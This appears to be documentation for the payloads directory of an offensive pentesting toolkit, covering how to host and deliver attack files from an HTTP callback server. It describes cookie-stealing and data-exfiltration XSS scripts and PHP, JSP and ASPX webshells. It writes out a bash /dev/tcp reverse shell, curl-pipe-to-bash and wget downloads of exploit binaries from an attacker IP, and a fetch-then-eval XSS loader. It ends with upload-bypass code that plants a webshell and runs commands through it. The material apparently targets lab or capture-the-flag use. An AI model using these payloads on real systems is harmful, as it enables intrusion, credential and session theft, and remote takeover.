Payloads ======== The ``payloads/`` directory stores files that will be served by the HTTP callback server. All files are automatically accessible via HTTP. Directory Structure ------------------- .. code-block:: text payloads/ ├── xss/ # XSS payloads and JavaScript ├── shells/ # Reverse shells and webshells ├── exploits/ # Compiled exploits or binaries └── files/ # Miscellaneous files Access via HTTP Server ---------------------- When you start the server with ``uv run your_project --server``, files in the ``payloads/`` directory are accessible at: - ``http://[your-ip]:8000/payloads/[filename]`` - ``http://[your-ip]:8000/static/[filename]`` (alias) Examples ~~~~~~~~ **Place files:** .. code-block:: text payloads/xss/steal-cookie.js payloads/shells/reverse.py payloads/exploits/privesc.bin **Access them:** .. code-block:: text http://10.10.14.5:8000/payloads/xss/steal-cookie.js http://10.10.14.5:8000/payloads/shells/reverse.py http://10.10.14.5:8000/payloads/exploits/privesc.bin Included Payloads ----------------- XSS Payloads ~~~~~~~~~~~~ Located in ``payloads/xss/``: **examples.txt** Ready-to-use XSS payloads for copy-paste **steal-cookie.js** JavaScript cookie stealer that sends cookies to your callback server **steal-all.js** Comprehensive data exfiltration (cookies, localStorage, session data, DOM content) Example XSS payload: .. code-block:: html Or load external script: .. code-block:: html Webshells ~~~~~~~~~ Located in ``payloads/shells/``: **cmd.php** PHP command execution shell **cmd.jsp** Java/JSP command execution shell **cmd.aspx** .NET/IIS command execution shell All webshells use the same simple interface: .. code-block:: python import requests # Execute command via webshell resp = requests.get("http://target/cmd.jsp?cmd=whoami") print(resp.text) # Output: nt authority\system # Works identically across platforms requests.get("http://target/cmd.php?cmd=id") requests.get("http://target/cmd.aspx?cmd=whoami") Common Use Cases ---------------- Serving Exploit Binaries ~~~~~~~~~~~~~~~~~~~~~~~~~ .. code-block:: bash # 1. Place your compiled exploit cp privesc.elf payloads/exploits/ # 2. Start server uv run your_project --server --lhost 10.10.14.5 # 3. Download on target wget http://10.10.14.5:8000/payloads/exploits/privesc.elf chmod +x privesc.elf Hosting Reverse Shell Scripts ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .. code-block:: bash # 1. Generate shell payload echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' > payloads/shells/rev.sh # 2. Start server uv run your_project --server --lhost 10.10.14.5 # 3. Execute on target curl http://10.10.14.5:8000/payloads/shells/rev.sh | bash Or use the built-in shell generators: .. code-block:: python from your_project.utils.reverse_shells import bash_shell # Generates shell script in payloads/shells/ path = bash_shell("10.10.14.5", 4444) print(f"Shell available at: http://10.10.14.5:8000/{path}") XSS Data Exfiltration ~~~~~~~~~~~~~~~~~~~~~ .. code-block:: javascript // In your XSS payload fetch('http://attacker:8000/payloads/xss/steal-all.js') .then(r => r.text()) .then(eval); The server will: 1. Serve the JavaScript file 2. Log when it's loaded 3. Receive and log the exfiltrated data 4. Store everything in ``logs/server.ndjson`` File Upload Payloads ~~~~~~~~~~~~~~~~~~~~ Place uploaded webshells in payloads for easy management: .. code-block:: python from your_project.utils.file_upload import FileUploader # Upload a shell uploader = FileUploader(f"{target}/upload") shell_path = "payloads/shells/cmd.php" with open(shell_path, 'rb') as f: result = uploader.upload_with_bypass( "shell.php", f.read(), techniques=["double_extension", "null_byte"] ) if result['success']: # Access the uploaded shell requests.get(f"{target}/uploads/shell.php?cmd=whoami")